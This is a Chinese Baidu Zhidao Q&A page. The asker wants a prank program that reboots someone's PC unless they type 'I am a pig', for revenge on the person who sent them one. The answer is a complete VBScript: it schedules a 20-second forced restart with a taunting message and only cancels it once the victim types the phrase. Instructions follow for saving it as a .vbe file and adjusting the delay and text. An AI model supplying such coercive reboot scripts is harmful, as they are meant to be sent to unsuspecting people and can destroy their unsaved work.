求一款软件,让别人不骂自己就自动重启的

来源:百度知道 编辑:UC知道 时间:2024/07/08 09:39:07
前几天别人发了一个程序给我,打开后说不说我是猪就自动重启。经过时间后我确认,说了我是猪(是指在那个程序上输入)就没事,没输入就真的重启。我想报复他,怎么找到这款软件?

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 20 -c ""说我是猪,不说就20秒关你机,不信,试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"

使用方法:
1.新建一个记事本
2.把上面的段落复制进去
3.点【文件】
4.【另存为】
5.最重要的,把后缀名【.txt】改成【.vbe】文件名就无所谓了,随便。

20就是重启时间,可以自己改。文字也可以自己该。